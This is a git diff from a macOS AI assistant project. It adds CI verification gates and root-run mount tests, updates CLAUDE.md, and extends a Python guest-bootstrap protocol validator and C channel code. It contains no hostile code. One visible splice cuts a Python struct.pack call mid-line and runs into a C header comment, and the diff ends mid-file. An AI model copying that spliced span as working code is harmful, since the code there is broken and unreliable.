diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index ee5166b62..77eecb41a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -398,6 +398,16 @@ jobs: - name: verify:runtime-state run: bun run verify:runtime-state + # N2 S7B: the Cowork native pair's packaging gate. Builds the real launcher (swift build, scratch path), embeds it with a stand-in worker into a + # scratch bundle (ad hoc), accepts it and proves seven refusals. Never runs either binary, never signs with a real identity. + - name: verify:cowork-native + run: bun run verify:cowork-native + + # N2 S7B: the Cowork channel's receiver thread must start in the COMPILED daemon (a third compile:core entrypoint). Compiles winter-core and runs a temp copy's + # probe on a socketpair; touches no home, Keychain, daemon or launcher. + - name: verify:fd-receiver + run: bun run verify:fd-receiver + # WS-23 (fix round 1, minor 6): the vendored ant, pinned and checksum-verified by fetch-ant # itself, so verify:runtimes exercises ant's bundle rung and its record's SHA against the pin # rather than skipping them. @@ -457,7 +467,7 @@ jobs: python3 -I -B -c " import json d = json.load(open('$RUNNER_TEMP/prepare.json')) - assert d['fullSourceDiffSha256'] == '3826aa68ee08b23ed046f8ec5a8df7f6271969747364dd63b0bd12f27013ec01', d + assert d['fullSourceDiffSha256'] == '7ec7dd847bc09373d02ffe23894ca9f6ddebf2c992f8dbd2f251127823be5f24', d print('composed hash ok', d['fullSourceDiffSha256'])" - name: Guard tests (including the composition test) diff --git a/.github/workflows/cowork-guest-boot.yml b/.github/workflows/cowork-guest-boot.yml index 61b365662..630984ef6 100644 --- a/.github/workflows/cowork-guest-boot.yml +++ b/.github/workflows/cowork-guest-boot.yml @@ -1,7 +1,8 @@ name: Cowork guest boot (N2 S5, unprivileged) # Source-only checks of the guest's PID 1, relay and bootstrap helper, and of the artifact scripts and kernel pins. -# No root, no mount, no loop device, no container, no VM, no package installation, no network. The ext4 tools used are the -# ones already on the runner, against regular files in a temporary directory. +# No container, no VM, no package installation, no network. The ext4 tools used are the ones already on the runner, against regular +# files in a temporary directory. Two steps run as root: the plan view's identity test (it needs to become a tool uid), and SH6's real mounts, +# each test in a private mount namespace below a temporary directory; this runner has no virtio-fs device, so the live virtio-fs mount is gate G7's. on: workflow_dispatch: pull_request: @@ -28,6 +29,17 @@ jobs: run: python3 -I -S -B -m unittest discover -s apple/Cowork/WinterCoworkGuest/bootstrap -p 'test_*.py' -v - name: "Native C modules, relay process, state machine and source hygiene (sanitizers)" run: python3 -I -S -B -m unittest discover -s apple/Cowork/WinterCoworkGuest/tests -p 'test_*.py' -v + - name: "Plan view identities, as root (a sibling conversation's tool uid is refused for real)" + # The one test that changes identity: it makes the plan directories for tool uids 41001 and 41002 and then lists, reads, writes and creates as each of them. + # sudo is already on the runner (nothing is installed); the test is marked skipped, not passed, when it is not root. + env: + WG_REQUIRE_ROOT: "1" + run: sudo -E env "PATH=$PATH" python3 -I -S -B -m unittest discover -s apple/Cowork/WinterCoworkGuest/tests -p 'test_filechannel.py' -k sibling -v + - name: "Real mounts as root, each in a private mount namespace (SH6: the whole share step on tmpfs, ext4 with dax=never, the refused virtio-fs mount)" + # WG_REQUIRE_REALMOUNT=1: a realmount test that cannot run here fails instead of skipping + run: | + sudo -E env "PATH=$PATH" WG_REQUIRE_REALMOUNT=1 python3 -I -S -B -m unittest discover -s apple/Cowork/WinterCoworkGuest/tests -p 'test_pid1_linux.py' -k realmount -v + sudo -E env "PATH=$PATH" WG_REQUIRE_REALMOUNT=1 python3 -I -S -B -m unittest discover -s apple/Cowork/WinterCoworkGuest/tests -p 'test_mutants.py' -k realmount -v - name: "Artifact scripts and kernel pins" run: | python3 -I -S -B -m unittest discover -s scripts/cowork-guest-artifact -p 'test_*.py' -v diff --git a/.github/workflows/cowork-guest-image-build.yml b/.github/workflows/cowork-guest-image-build.yml index db461bdba..d83ef8ee9 100644 --- a/.github/workflows/cowork-guest-image-build.yml +++ b/.github/workflows/cowork-guest-image-build.yml @@ -8,12 +8,12 @@ name: cowork-guest-image-build # The first steps refuse unless REVIEWED_HEAD is an ancestor of the pushed commit and the whole diff is that one line. on: push: - branches: [cowork/guest-image-build] + branches: [cowork/guest-image-build-6] permissions: contents: read env: REVIEWED_HEAD: '0000000000000000000000000000000000000000' - AGENT_SDK_HEAD: '7e71929d0231be2d77645bfa47ee2b550f3add22' + AGENT_SDK_HEAD: 'ec91fe06719d76e99bcdbdae8a6daaf690dfeb50' BUILDER_HEAD: '180d3effd7ddbb9406aeea0912f76c78ef20cf75' BUN_ARCHIVE_URL: 'https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/bun-linux-aarch64.zip' BUN_ARCHIVE_SHA256: 'a27ffb63a8310375836e0d6f668ae17fa8d8d18b88c37c821c65331973a19a3b' @@ -35,7 +35,7 @@ env: LLVM_KEY_SHA256: 'dc0ffd470f01a27a19fad7a243cf85cf79f063d60b3a4c75090b24d9bdc6e2c8' jobs: build: - if: github.repository == 'yanlingLabs/winter' && github.event_name == 'push' && github.ref == 'refs/heads/cowork/guest-image-build' && github.event.created == true && github.run_attempt == '1' + if: github.repository == 'yanlingLabs/winter' && github.event_name == 'push' && github.ref == 'refs/heads/cowork/guest-image-build-6' && github.event.created == true && github.run_attempt == '1' runs-on: ubuntu-24.04-arm timeout-minutes: 210 steps: @@ -117,15 +117,17 @@ jobs: run: | set -euo pipefail pnpm install --frozen-lockfile --ignore-scripts - - name: Build the pinned kernel twice at the same paths + - name: Build the pinned kernel twice, under two different work paths that must give identical bytes shell: bash run: | set -euo pipefail - kernel_work="$IMAGE_WORK/kernel-work" + kernel_work="$RUNNER_TEMP/winter-kernel-work" + kernel_work_b="$RUNNER_TEMP/winter-kernel-work-b" + test "$kernel_work" != "$kernel_work_b" python3 -I -S -B scripts/cowork-guest-artifact/kernel/native_build.py --downloads "$IMAGE_WORK/kernel-downloads" --work "$kernel_work" --out "$IMAGE_WORK/kernel-1" rm -rf "$kernel_work" - python3 -I -S -B scripts/cowork-guest-artifact/kernel/native_build.py --downloads "$IMAGE_WORK/kernel-downloads" --work "$kernel_work" --out "$IMAGE_WORK/kernel-2" - rm -rf "$kernel_work" + python3 -I -S -B scripts/cowork-guest-artifact/kernel/native_build.py --downloads "$IMAGE_WORK/kernel-downloads" --work "$kernel_work_b" --out "$IMAGE_WORK/kernel-2" + rm -rf "$kernel_work_b" - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 with: name: guest-kernel-${{ github.run_id }} diff --git a/CLAUDE.md b/CLAUDE.md index 35e7e9880..e0c8b0954 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -6,7 +6,7 @@ Guidance for Claude Code (claude.ai/code) when working in this repository. This Winter is a macOS-native AI assistant: a TypeScript/Bun daemon (`winter-core`) plus a native Swift menu-bar app. They speak JSON-RPC 2.0 over NDJSON on a Unix socket (`/run/core.sock`; default home `~/.winter`). The daemon is the single source of truth; every client — CLI, Mac app, phone — is a view over its event stream. -**The daemon runs no agent loop of its own.** Every session is a runtime child driven through the router (`@yanlinglabs/winter-runtime-sdk`) on the Winter agent runtime — the only leg; every model runs on it, Claude included. Code sessions spawn the `winter` binary; chat and dispatch run it EMBEDDED in `winter-core`, one Bun Worker per session. Session modes are `code`, `dispatch`, `chat`. **Cowork is not an implemented session mode** — the protocol names it (`SESSION_MODES`) but `session.create` refuses it for every role (`unsupported_topology`) and no runtime-facing type can hold it; see [docs/cowork-status.md](docs/cowork-status.md). The daemon owns everything around the child: IPC, event-sourced session storage, settings, approvals, the capability tools it hands the child over MCP, the hooks, and the SDK-message→`SessionEvent` projector. +**The daemon runs no agent loop of its own.** Every session is a runtime child driven through the router (`@yanlinglabs/winter-runtime-sdk`) on the Winter agent runtime — the only leg; every model runs on it, Claude included. Code sessions spawn the `winter` binary; chat and dispatch run it EMBEDDED in `winter-core`, one Bun Worker per session. Session modes are `code`, `dispatch`, `chat`. **Cowork is not an implemented session mode** — the protocol names it (`SESSION_MODES`) but `session.create` refuses it for every role (`unsupported_topology`) and no runtime-facing type can hold it; its native VM/guest source is inert and has never booted; see [docs/cowork-status.md](docs/cowork-status.md). The daemon owns everything around the child: IPC, event-sourced session storage, settings, approvals, the capability tools it hands the child over MCP, the hooks, and the SDK-message→`SessionEvent` projector. ## Commands @@ -57,7 +57,7 @@ Plain links, not `@` imports — read the file whose area you are about to touch | [providers-and-credentials.md](docs/claude/providers-and-credentials.md) | Before touching a Keychain slot, `credential.*`/`provider.*` doors, the host-credential broker, the boot Keychain passes or Anthropic/Console sign-in. | | [internal-jobs.md](docs/claude/internal-jobs.md) | Before touching titles, the bash safety reviewer, the dreamer or the session cleaner — model/effort/credential resolution and the role problems. | | [protocol-and-remote.md](docs/claude/protocol-and-remote.md) | Before changing a `SessionEvent` variant or field (the 7-step checklist), adding an RPC method, or touching what a remote/phone client sees (allowlists, history, transients, thinking pill, phone mirror). | -| [settings-and-migrations.md](docs/claude/settings-and-migrations.md) | Before adding a setting (live reload, the one-reader rule) or touching the legacy `~/.norma` home or project migration. | +| [settings-and-migrations.md](docs/claude/settings-and-migrations.md) | Before adding a setting (live reload, the one-reader rule), touching the legacy `~/.norma` home or project migration, or bumping the runtime-state schema (currently v21). | | [runtime-home.md](docs/claude/runtime-home.md) | Before touching `/sdk`, run folders, MCP/settings scopes and trust, Migration C, saved answers or the plugin format. | | [tool-surface.md](docs/claude/tool-surface.md) | Before changing what a model can call: capability servers and plain names, deferral, chat/dispatch allowed lists, web tools, hooks, read/write fences, sandbox escapes, saved allow rules, skills. | | [dispatch-and-messaging.md](docs/claude/dispatch-and-messaging.md) | Before touching mid-turn pushes (the fold), turn pairing, `SpawnSession`/children, `SendMessage`/`ListAgents`/`TaskStop`, `ListSessions`, or the Dispatch pill's command mode and terminal. | @@ -69,8 +69,8 @@ Plain links, not `@` imports — read the file whose area you are about to touch | [headless.md](docs/claude/headless.md) | Before touching the `headless` backend, the Winter Headless helper, its local-network rules or the Chromium embed layout. | | [usage.md](docs/claude/usage.md) | Before touching usage and cost tracking: `packages/core/src/usage/`, the projector's `onTurnUsage`, `usage.*`, `settings.usage`, reading the user's Codex/Claude Code/Antigravity/OpenCode usage or plans, `apple/Winter/Sources/Usage/`. | | [testing.md](docs/claude/testing.md) | Before running or writing tests, a verify gate, the live computer-use suite, or anything reading daemon logs/temp dirs. | -| [release.md](docs/claude/release.md) | Before bumping a version, writing release notes or cutting a release. | -| [cowork.md](docs/claude/cowork.md) | Before touching `packages/core/src/cowork/**`, `packages/protocol/src/cowork.ts`, `apple/Cowork/**`, host-storage-fence or home-fence cowork roots, `refreshForStorage`, or the `workspace.*` / `project.*` methods and events. | +| [release.md](docs/claude/release.md) | Before bumping a version, writing release notes or cutting a release — including the Cowork native-pair choice (`COWORK_NATIVE=omit` or both libkrun inputs) and a schema bump's rollback line. | +| [cowork.md](docs/claude/cowork.md) | Before touching `packages/core/src/cowork/**`, `packages/protocol/src/cowork.ts`, `apple/Cowork/**`, `scripts/cowork-guest-artifact/**`, host-storage-fence or home-fence cowork roots, `refreshForStorage`, or the `workspace.*` / `project.*` methods and events. | Other references: `winter-vs-cc-tools.md` (repo root, the live tool comparison with Claude Code), `apple/ComputerUse/PROTOCOL.md` (the helper's wire contract), `apple/ComputerUse/WinterBrowserHost/PROTOCOL.md` (Winter for Chrome's). diff --git a/apple/Cowork/WinterCoworkGuest/bootstrap/guest_bootstrap.py b/apple/Cowork/WinterCoworkGuest/bootstrap/guest_bootstrap.py index 5e6178811..6f4d7092e 100644 --- a/apple/Cowork/WinterCoworkGuest/bootstrap/guest_bootstrap.py +++ b/apple/Cowork/WinterCoworkGuest/bootstrap/guest_bootstrap.py @@ -62,6 +62,10 @@ NONCE = re.compile(r"[a-f0-9]{32}\Z") MESSAGE_TOKEN = re.compile(r"[A-Za-z0-9][A-Za-z0-9_-]{0,62}\Z") FAULT_CODES = ("bad_plan", "probe_failed", "format_failed", "replay_failed", "mount_failed", "internal", "bad_conversations", "supervisor_failed", "second_conversations") +# Contract revision 3 (bootstrap `v` 2) adds four: the share inventory, a share that would not mount, a resume with no store, a fresh start on a store that has content. +FAULT_CODES_V3 = FAULT_CODES + ("share_inventory", "share_mount_failed", "resume_store_missing", "fresh_store_not_empty") +MAX_ENDED_BOOTS = 4 +MAX_RUNTIME_TIMEOUT_MS_V3 = 86_400_000 DANGEROUS_KEYS = ("__proto__", "constructor", "prototype") # ext4 superblock feature bits that the pinned contract allows (compat, incompat, ro_compat) and the one transient bit. @@ -239,8 +243,30 @@ def _plain_object(value): # Port of protocol.ts (round 3) conversationsOf / checkConversationsMessage. The helper is the judge of this message: PID 1 only # receives the finished result (boot.h wg_conversation_set). +# ---- the revision of the bootstrap-class JSON this helper speaks. +# Revision 2 (`v` 1) is the production guest. Revision 3 (`v` 2: browseUid, cold-resume fields, shares, `continuations`) is spoken only by an image that declares the runtime +# capability `file-channel-v1`: PID 1 starts the helper with `--file-channel-v1` there and nowhere else. The mode is process-wide on purpose (one helper, one host). +REVISION_THREE = False +BOOTSTRAP_VERSION = 1 + + +def set_revision_three(on): + """Switches the helper's bootstrap vocabulary; returns the previous setting (the tests restore it).""" + global REVISION_THREE, BOOTSTRAP_VERSION + previous = REVISION_THREE + REVISION_THREE = bool(on) + BOOTSTRAP_VERSION = 2 if on else 1 + return previous + + SDK_ID = re.compile(r"[A-Za-z0-9][A-Za-z0-9_.-]{0,127}\Z") UUID4 = re.compile(r"[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}\Z") +CONTINUATIONS = ("fresh", "resume", "either") +SHARE_KINDS = ("folder", "guidance", "memory", "outputs") +SHARE_MOUNTS = {"guidance": "/run/winter/shared-instructions", "memory": "/workspace/.winter/memory", "outputs": "/workspace/outputs"} +SHARE_TAG = re.compile(r"[a-z0-9-]{1,32}\Z") +FOLDER_MOUNT = re.compile(r"/workspace/folders/[A-Za-z0-9][A-Za-z0-9_.-]{0,127}\Z") +MAX_SHARES, MAX_FOLDER_SHARES = 12, 9 POLICIES = ("auto", "plan", "ask", "accept-edits", "dont-ask", "bypass") RUNTIME_PROFILES = ("host-query-v1", "host-query-guided-v1") RUNTIME_KEYS = {"host-query-v1": "hostQueryRuntime", "host-query-guided-v1": "hostQueryGuidedRuntime"} @@ -278,6 +304,17 @@ def _workspace_path(value): return _guest_path(value) and value.startswith("/workspace/") +ROOT_SOURCE_COMPONENT = re.compile(r"[A-Za-z0-9._-]{1,64}") +PLAN_EPOCH = re.compile(r"0|[1-9][0-9]{0,8}") + + +def _root_source(value): + """A root `source` as PID 1 will walk it (boot.c root_source_ok): /workspace/ then components of [A-Za-z0-9._-], at most 255 bytes in all. The helper answers bad_conversations for anything else.""" + if not _workspace_path(value) or len(value) > 255 or not value.isascii(): + return False + return all(ROOT_SOURCE_COMPONENT.fullmatch(part) for part in value[len("/workspace/"):].split("/")) + + def _allowed_view(path, session_id): parts = path[1:].split("/") if parts[0] != "workspace": @@ -285,7 +322,13 @@ def _allowed_view(path, session_id): return ((len(parts) >= 3 and parts[1] in ("folders", "repos")) or (len(parts) == 3 and parts[1] == ".winter" and parts[2] == "memory") or (len(parts) == 4 and parts[1] == ".winter" and parts[2] == "scratch" and parts[3] == session_id) - or (len(parts) == 3 and parts[1] == "outputs" and parts[2] == session_id)) + or (len(parts) == 3 and parts[1] == "outputs" and parts[2] == session_id) + # The plan view (contract 12.5): this conversation's own scratch for one epoch, a canonical decimal of at most nine digits, exactly that path. + or (len(parts) == 4 and parts[1] == "plan" and parts[2] == session_id and PLAN_EPOCH.fullmatch(parts[3]) is not None)) + + +def _is_plan_view(path): + return path.startswith("/workspace/plan/") def _public_metadata(node, depth): @@ -330,19 +373,32 @@ def _tool_classes(value): return all(indexes[i] > indexes[i - 1] for i in range(1, len(indexes))) +def _ended_boots(value): + return type(value) is list and len(value) <= MAX_ENDED_BOOTS and all(_boot_id(v) for v in value) and len(set(value)) == len(value) + + def _runtime(value): if value is None: return True - if not _exact(value, ("model", "timeoutMs", "toolClasses", "provider", "guided")): + keys = ("model", "timeoutMs", "toolClasses", "provider", "guided", "continuation", "endedGuestBoots") if REVISION_THREE else ("model", "timeoutMs", "toolClasses", "provider", "guided") + if not _exact(value, keys): return False model = value["model"] - if type(model) is not str or not 1 <= len(model) <= 256 or not _printable(model) or not _uint(value["timeoutMs"], 1, 600_000): + if type(model) is not str or not 1 <= len(model) <= 256 or not _printable(model) or not _uint(value["timeoutMs"], 1, MAX_RUNTIME_TIMEOUT_MS_V3 if REVISION_THREE else 600_000): return False if not _tool_classes(value["toolClasses"]) or not _provider(value["provider"]): return False guided = value["guided"] - return guided is None or (_exact(guided, ("bindingId", "generation")) and type(guided["bindingId"]) is str and bool(UUID4.match(guided["bindingId"])) - and _uint(guided["generation"], 1)) + if not (guided is None or (_exact(guided, ("bindingId", "generation")) and type(guided["bindingId"]) is str and bool(UUID4.match(guided["bindingId"])) + and _uint(guided["generation"], 1))): + return False + if REVISION_THREE and (type(value["continuation"]) is not str or value["continuation"] not in CONTINUATIONS or not _ended_boots(value["endedGuestBoots"])): + return False + return True + + +def _under_plan(path): + return path == "/workspace/plan" or path.startswith("/workspace/plan/") def _roots(value, session_id): @@ -350,13 +406,16 @@ def _roots(value, session_id): return False for root in value: if not _exact(root, ("id", "guestPath", "source", "readOnly")) or not _sdk_id(root["id"]) or not _workspace_path(root["guestPath"]) \ - or not _workspace_path(root["source"]) or type(root["readOnly"]) is not bool: + or not _root_source(root["source"]) or type(root["readOnly"]) is not bool: return False views = [root["guestPath"] for root in value] if len({root["id"] for root in value}) != len(value) or len(set(views)) != len(views): return False if any(a != b and b.startswith(a + "/") for a in views for b in views): return False + # PID 1 makes a plan view from the root's `source`, the supervisor admits it by `guestPath`: for anything at or under /workspace/plan on either side they must be the same path. + if any((_under_plan(root["guestPath"]) or _under_plan(root["source"])) and root["source"] != root["guestPath"] for root in value): + return False return all(_allowed_view(view, session_id) for view in views) @@ -374,16 +433,25 @@ def _conversation(item): # The nested checks run in the order protocol.ts runs them, so that a value with several defects names the same category. if not _roots(item["roots"], session_id) or not _runtime(item["runtime"]): return False + # The plan view exists only under the plan policy, at most once, writable; under plan it is the ONLY writable root (protocol.ts conversationOf, mirrored). + plan_views = [root for root in item["roots"] if _is_plan_view(root["guestPath"])] + if len(plan_views) > 1 or any(item["policy"] != "plan" or root["readOnly"] for root in plan_views): + return False + if item["policy"] == "plan" and any(not root["readOnly"] and not _is_plan_view(root["guestPath"]) for root in item["roots"]): + return False runtime = item["runtime"] if runtime is not None: for root in item["roots"]: - if root["guestPath"] == "/workspace/.winter" or root["guestPath"].startswith("/workspace/.winter/") or (item["policy"] == "plan" and not root["readOnly"]): + if root["guestPath"] == "/workspace/.winter" or root["guestPath"].startswith("/workspace/.winter/"): return False scope, selection = runtime["provider"]["scope"], runtime["provider"]["selection"] if (scope["workspaceId"] != authority["workspaceId"] or scope["sessionId"] != session_id or scope["backendSessionId"] != authority["sessionId"] or scope["incarnationId"] != authority["incarnationId"] or scope["leaseEpoch"] != authority["leaseEpoch"] or scope["grantRevision"] != authority["grantRevision"] or selection["modelKey"] != runtime["model"]): return False + # Cold resume (revision 3): a fresh store has no earlier boot to vouch for, and the live boot can never be attested as ended. + if REVISION_THREE and ((runtime["continuation"] == "fresh" and runtime["endedGuestBoots"]) or scope["bootId"] in runtime["endedGuestBoots"]): + return False return True @@ -413,6 +481,9 @@ def _check_conversations_message(message): uids = [uid for i in items for uid in (i["runtimeUid"], i["toolUid"])] if len(set(uids)) != len(uids) or any(a["workspaceGid"] in (b["runtimeUid"], b["toolUid"]) for a in items for b in items): return False + # The file channel's browse uid (one per workspace) is no member's runtime or tool uid and no group id. + if REVISION_THREE and message["browseUid"] is not None and (message["browseUid"] in uids or any(i["workspaceGid"] == message["browseUid"] for i in items)): + return False return len({i["runtime"]["provider"]["scope"]["bootId"] for i in items if i["runtime"]}) <= 1 @@ -425,11 +496,15 @@ def _normalize_conversations(items): out = [] for item in items: runtime = item["runtime"] + full = runtime if runtime is not None: guided = runtime["guided"] runtime = {"model": runtime["model"], "timeoutMs": runtime["timeoutMs"], "toolClasses": runtime["toolClasses"], "provider": sorted_canonical(runtime["provider"]), "guided": None if guided is None else _ordered(guided, ("bindingId", "generation"))} + if REVISION_THREE: + runtime["continuation"] = full["continuation"] + runtime["endedGuestBoots"] = full["endedGuestBoots"] out.append({"logicalSessionId": item["logicalSessionId"], "authority": _ordered(item["authority"], AUTHORITY_KEYS), "runtimeUid": item["runtimeUid"], "toolUid": item["toolUid"], "workspaceGid": item["workspaceGid"], "policy": item["policy"], "roots": [_ordered(root, ("id", "guestPath", "source", "readOnly")) for root in item["roots"]], "runtime": runtime}) @@ -440,6 +515,42 @@ def _runtime_ready_count(value): return _uint(value, 1, MAX_CONVERSATIONS) +def _unix_id_or_null(value): + return value is None or _uint(value, UNIX_ID_MIN, UNIX_ID_MAX) + + +def _continuations(value): + return type(value) is list and len(value) <= MAX_CONVERSATIONS and all(type(v) is str and v in ("fresh", "resume") for v in value) + + +def _guest_shares(value): + """protocol.ts guestSharesOf + checkShareSet: 1 to 12 shares, at most 9 folders and one of each Winter kind, distinct tags and guest paths, the right mount and mode for each kind.""" + if type(value) is not list or not 1 <= len(value) <= MAX_SHARES: + return False + for share in value: + if not _exact(share, ("tag", "guestPath", "readOnly", "kind")) or type(share["tag"]) is not str or not SHARE_TAG.match(share["tag"]) \ + or not _guest_path(share["guestPath"]) or type(share["readOnly"]) is not bool or type(share["kind"]) is not str or share["kind"] not in SHARE_KINDS: + return False + if len({s["tag"] for s in value}) != len(value) or len({s["guestPath"] for s in value}) != len(value): + return False + if sum(1 for s in value if s["kind"] == "folder") > MAX_FOLDER_SHARES or any(sum(1 for s in value if s["kind"] == kind) > 1 for kind in ("guidance", "memory", "outputs")): + return False + for share in value: + mount_ok = bool(FOLDER_MOUNT.match(share["guestPath"])) if share["kind"] == "folder" else share["guestPath"] == SHARE_MOUNTS[share["kind"]] + mode_ok = share["kind"] == "folder" or share["readOnly"] == (share["kind"] == "guidance") + if not mount_ok or not mode_ok: + return False + return True + + +def _normalize_shares(items): + return [_ordered(item, ("tag", "guestPath", "readOnly", "kind")) for item in items] + + +def _runtime_ready_continuations_ok(message): + return len(message["continuations"]) <= message["conversations"] + + # message type -> ordered (key, validator). Insertion order IS the wire order, exactly as in protocol.ts BOOTSTRAP_SPECS. BOOTSTRAP_SPECS = { "down": { @@ -450,7 +561,7 @@ def _runtime_ready_count(value): "up": { "hello": (("guestBootId", _boot_id), ("dataSerial", lambda v: v == DATA_SERIAL), ("environmentSerial", lambda v: v == ENVIRONMENT_SERIAL)), "receipt": (("operationId", _token), ("nonce", _nonce), ("receipt", _plain_object)), - "fault": (("operationId", _token), ("nonce", _nonce), ("code", lambda v: v in FAULT_CODES)), + "fault": (("operationId", _token), ("nonce", _nonce), ("code", lambda v: v in (FAULT_CODES_V3 if REVISION_THREE else FAULT_CODES))), "mounted": (("operationId", _token), ("nonce", _nonce)), "runtime_ready": (("operationId", _token), ("nonce", _nonce), ("conversations", _runtime_ready_count)), }, @@ -460,6 +571,30 @@ def _runtime_ready_count(value): MESSAGE_CAPS = {("down", "conversations"): MAX_CONVERSATIONS_BYTES} NORMALIZERS = {("down", "conversations", "conversations"): _normalize_conversations} +# Revision 3 (`v` 2): the same tables with what changed. Selected by set_revision_three(); nothing else about parsing differs. +BOOTSTRAP_SPECS_V3 = { + "down": { + "plan": BOOTSTRAP_SPECS["down"]["plan"], + "ready": BOOTSTRAP_SPECS["down"]["ready"], + "shares": (("operationId", _token), ("nonce", _nonce), ("shares", _guest_shares)), + "conversations": (("operationId", _token), ("nonce", _nonce), ("incarnationId", _token), ("profile", _profile), ("browseUid", _unix_id_or_null), ("conversations", _conversations)), + }, + "up": { + **{name: spec for name, spec in BOOTSTRAP_SPECS["up"].items() if name != "runtime_ready"}, + "shares_mounted": (("operationId", _token), ("nonce", _nonce)), + "runtime_ready": (("operationId", _token), ("nonce", _nonce), ("conversations", _runtime_ready_count), ("continuations", _continuations)), + }, +} +MESSAGE_CHECKS_V3 = {**MESSAGE_CHECKS, ("up", "runtime_ready"): _runtime_ready_continuations_ok} +MESSAGE_CAPS_V3 = {**MESSAGE_CAPS, ("down", "shares"): MAX_CONVERSATIONS_BYTES} +NORMALIZERS_V3 = {**NORMALIZERS, ("down", "shares", "shares"): _normalize_shares} + + +def _tables(): + if REVISION_THREE: + return BOOTSTRAP_SPECS_V3, MESSAGE_CHECKS_V3, MESSAGE_CAPS_V3, NORMALIZERS_V3 + return BOOTSTRAP_SPECS, MESSAGE_CHECKS, MESSAGE_CAPS, NORMALIZERS + def parse_bootstrap_message(payload, direction): """One bootstrap-class payload (bytes, no newline) -> a dict {t, fields...} or ProtocolError. @@ -468,23 +603,26 @@ def parse_bootstrap_message(payload, direction): """ parsed, text = strict_object(payload) kind = parsed.get("t") if "t" in parsed else None - specs = BOOTSTRAP_SPECS[direction] + all_specs, checks, caps, normalizers = _tables() + specs = all_specs[direction] if not isinstance(kind, str) or kind not in specs: raise ProtocolError("unknown_type") spec = specs[kind] - if len(payload) > MESSAGE_CAPS.get((direction, kind), MAX_BOOTSTRAP_PAYLOAD): + if len(payload) > caps.get((direction, kind), MAX_BOOTSTRAP_PAYLOAD): raise ProtocolError("oversize") + if REVISION_THREE and (type(parsed.get("v")) is not int or parsed["v"] != BOOTSTRAP_VERSION): + raise ProtocolError("version") # judged before the schema: a peer one revision behind is told `version`, never `bad_field` if set(parsed) != {"v", "t"} | {key for key, _ in spec}: raise ProtocolError("bad_field") - if type(parsed["v"]) is not int or parsed["v"] != 1: + if type(parsed["v"]) is not int or parsed["v"] != BOOTSTRAP_VERSION: raise ProtocolError("bad_field") - typed = {"v": 1, "t": kind} + typed = {"v": BOOTSTRAP_VERSION, "t": kind} for key, check in spec: if not check(parsed[key]): raise ProtocolError("bad_field") - normalize = NORMALIZERS.get((direction, kind, key)) + normalize = normalizers.get((direction, kind, key)) typed[key] = normalize(parsed[key]) if normalize else sorted_canonical(parsed[key]) if isinstance(parsed[key], dict) else parsed[key] - rule = MESSAGE_CHECKS.get((direction, kind)) + rule = checks.get((direction, kind)) if rule is not None and not rule(typed): raise ProtocolError("bad_field") if canonical_text(typed) != text: @@ -495,10 +633,11 @@ def parse_bootstrap_message(payload, direction): def encode_bootstrap_message(message): """The canonical payload (bytes) of an up message; the schema check is the one a received message would pass.""" kind = message["t"] - if kind not in BOOTSTRAP_SPECS["up"]: + up_specs = _tables()[0]["up"] + if kind not in up_specs: raise ValueError("not an up message") - typed = {"v": 1, "t": kind} - for key, check in BOOTSTRAP_SPECS["up"][kind]: + typed = {"v": BOOTSTRAP_VERSION, "t": kind} + for key, check in up_specs[kind]: value = message[key] if not check(value): raise ValueError("bad field " + key) @@ -1015,6 +1154,11 @@ def fault_code(error): TAG_CONVERSATIONS = ord("C") TAG_CONVERSATIONS_RESULT = ord("r") RESULT_READY, RESULT_BAD_CONVERSATIONS, RESULT_SUPERVISOR_FAILED = 0, 1, 2 +# Host-backed shares (revision 3 only): the validated, bound set to PID 1, and its one-byte answer (boot.h WG_SHARES_*). +TAG_SHARES = ord("S") +TAG_SHARES_RESULT = ord("s") +SHARES_MOUNTED, SHARES_INVENTORY, SHARES_MOUNT_FAILED = 0, 1, 2 +SHARE_KIND_CODES = {"folder": 0, "guidance": 1, "memory": 2, "outputs": 3} def ctl_encode(tag, payload=b""): @@ -1116,17 +1260,43 @@ def supervisor_items(message): return items +EXTENDED_PAYLOAD = 0x80 + + def conversations_payload(message): """The 'C' message to PID 1 (boot.h wg_conversation_set): profile, count, per conversation uid and id, then the items as JSON.""" profile = {None: 0, "host-query-v1": 1, "host-query-guided-v1": 2}[message["profile"]] - out = bytearray([profile, len(message["conversations"])]) + out = bytearray([profile | (EXTENDED_PAYLOAD if REVISION_THREE else 0), len(message["conversations"])]) for item in message["conversations"]: sid = item["logicalSessionId"].encode("ascii") out += struct.pack(" init: the validated, bound share set to mount (boot.h wg_share_set), at most once, after 'E' and before 'C' */ +#define CTL_SHARES_RESULT 's' /* init -> helper: one byte, WG_SHARES_MOUNTED (0), WG_SHARES_INVENTORY (1) or WG_SHARES_MOUNT_FAILED (2) */ +#endif #define CTL_DRAIN_PAYLOAD_BYTES 37u diff --git a/apple/Cowork/WinterCoworkGuest/common/fileflow.c b/apple/Cowork/WinterCoworkGuest/common/fileflow.c new file mode 100644 index 000000000..2a593b9d2 --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/common/fileflow.c @@ -0,0 +1,30 @@ +#include "fileflow.h" + +void wg_fileflow_init(struct wg_fileflow *flow) { + flow->outstanding = 0; + flow->request_line = 0; + flow->response_line = 0; +} + +enum wmx_status wg_fileflow_request(struct wg_fileflow *flow, const uint8_t *bytes, size_t length) { + for (size_t i = 0; i < length; i++) { + if (++flow->request_line > WG_FILE_REQUEST_BYTES) return WMX_OVERSIZE; + if (bytes[i] == '\n') { + if (++flow->outstanding > WG_FILE_IN_FLIGHT) return WMX_OVERSIZE; + flow->request_line = 0; + } + } + return WMX_OK; +} + +enum wmx_status wg_fileflow_response(struct wg_fileflow *flow, const uint8_t *bytes, size_t length) { + for (size_t i = 0; i < length; i++) { + if (flow->outstanding == 0) return WMX_BAD_FIELD; + if (++flow->response_line > WG_FILE_RESPONSE_BYTES) return WMX_OVERSIZE; + if (bytes[i] == '\n') { + flow->outstanding--; + flow->response_line = 0; + } + } + return WMX_OK; +} diff --git a/apple/Cowork/WinterCoworkGuest/common/fileflow.h b/apple/Cowork/WinterCoworkGuest/common/fileflow.h new file mode 100644 index 000000000..eeff1c1d7 --- /dev/null +++ 